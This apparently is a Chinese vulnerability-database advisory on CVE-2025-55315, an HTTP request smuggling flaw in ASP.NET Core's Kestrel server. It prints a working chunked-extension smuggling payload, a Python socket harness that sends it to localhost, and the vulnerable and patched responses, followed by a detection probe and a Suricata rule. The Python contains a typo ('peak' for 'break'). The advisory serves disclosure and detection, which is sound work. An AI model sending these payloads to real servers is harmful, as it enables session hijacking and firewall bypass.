Microsoft ASP.NET Core漏洞CVE-2025-55315
Microsoft ASP.NET Core 是微软推出的跨平台、高性能开源 Web 框架,用于构建 Web 应用、API、微服务等,支持多版本共存同服务器。
一、基本情况
ASP.NET Core 旨在帮助允许运行时组件、API、编译器以及语言快速发展,同时仍然提供稳定且受支持的平台,从而能够让应用持续运行。

ASP.NET Core可构建 Web 应用、API(包括Blazor无JavaScript 的交互式界面)、集成 Angular/React/Vue 等客户端框架,支持云部署。
栋科技漏洞库关注到 Microsoft ASP.NET Core 平台中存在一个信息泄露漏洞,该漏洞现已被追踪为CVE-2025-55315,CVSS 3.1评分9.9。
二、漏洞分析
CVE-2025-55315漏洞是位于 Microsoft ASP.NET Core平台的高危安全漏洞,漏洞属于HTTP请求走私(HTTP Request Smuggling)类型。
位于Kestrel Web服务器组件中,允许攻击者通过构造恶意HTTP请求绕过安全防护机制,窃取敏感数据、篡改服务器内容,导致服务中断。
攻击者利用CVE-2025-55315漏洞的方式主要包括:
通过发送精心构造的HTTP请求实施请求走私攻击,制造请求边界解析歧义以诱导Kestrel服务器或前端代理(如Nginx)错误处理请求流,
使恶意请求被误认为合法通信;
同时可劫持其他用户的会话凭据或绕过前端部署的防火墙、WAF等安全防护机制直接攻击后端服务器;
该漏洞可能被用于实现权限提升、服务器端请求伪造(SSRF)、绕过跨站请求伪造(CSRF)防护机制,甚至触发SQL注入等潜在攻击。
三、概念验证
运行目录:artifacts/runs/ASP-Kestrel-Chunked-Smuggling/20251017-210608/ASP-Kestrel-Chunked-Smuggling/default_recipe/
1、走私有效载荷
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
Content-Type: text/plain
Connection: keep-alive
4;ext=foo
ABCD
0
GET /smuggled HTTP/1.1
Host: localhost
这正是tool_26_run_shell.log中发送的请求。
2、Python线束
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Content-Type: text/plain\r\n"
b"Connection: keep-alive\r\n"
b"\r\n"
b"4;ext=foo\r\n"
b"ABCD\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"\r\n"
)
with socket.create_connection(("127.0.0.1", 5000)) as s: # vulnerable Kestrel 7.0.20
s.sendall(payload)
s.settimeout(1.0)
chunks = []
try:
while True:
data = s.recv(4096)
if not data:
peak
chunks.append(data)
except Exception:
pass
print(b"".join(chunks).decode(errors="ignore"))
3、易受攻击的响应(端口5000)
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked
2
OK
0
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked
2
OK
0
服务器在同一TCP连接上产生了两个响应,确认GET /smuggled 被接受。
4、修补响应(端口5001)
Exception: timed out
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:10:35 GMT
Transfer-Encoding: chunked
2
OK
0
修补后的构建在抛出Bad chunk extension后关闭连接,防止走私请求。
5、证据文件
Smuggling script tool_26_run_shell.log
Patched run output tool_44_run_shell.log
Vulnerable server log workspace/vulnerable_app.log
Patched server log workspace/patched_app.log
Fix commit (source tree)workspace/aspnetcore → git show b50ab865ec4dcd3d6ac30221288cc36bf189d300
6、建议生产检测
要监视没有自定义终结点的实时环境,请使用格式错误的块扩展通过TLS发送预认证GET/探测:
GET / HTTP/1.1
Host: <target>
Transfer-Encoding: chunked
2;\rxx
xy
0
- 易受攻击的Kestrel在
200 OK后保持TLS会话打开。 - 修补后的Kestrel立即中止(400/连接关闭),因为它现在拒绝了无效的块扩展。
通过L7监视器部署此探测器为CVE-2025-55315提供了一个稳定的通用检测路径。
Suricata/Snort IDS签名
如果需要在线路上进行被动检测,以下与Suricata兼容的规则会标记在块扩展中包含有问题的“\r”的入站HTTP/1.1请求。
它也清晰地映射到Snort。
alert http any any -> $HOME_NET any (
msg:"Possible Kestrel chunked smuggling probe";
flow:to_server,established;
http.request_line;
content:"Transfer-Encoding|3a| chunked"; http.header;
content:"|0d 0a|2;|0d|"; within:32;
classtype:web-application-attack;
sid:2025553151; rev:1;
)
content:"|0d 0a|2;|0d|"在块长度(2;)之后立即查找合法客户端不应发送的CR。- 根据您的规则集策略调整
sid/rev。 - 将其与日志记录/警报相结合,以便操作员可以将探头与上游平台版本相关联。
主动TLS探测和被动IDS签名共同提供了全面的覆盖:一个验证您自己的舰队,另一个在生产中检测(或利用)漏洞时发出警报。
五、影响范围
- .NET Core 2.x:引用了Microsoft.AspNetCore.Server.Kestrel.Core NuGet包2.3.0及更早版本
- .NET 8:ASP.NET Core 8.0.20及更早版本
- .NET 9:ASP.NET Core 9.0.9及更早版本
- .NET 10:ASP.NET Core 10.0.0-rc.1.25451.107及更早版本
六、参考链接
管理员已设置登录后刷新可查看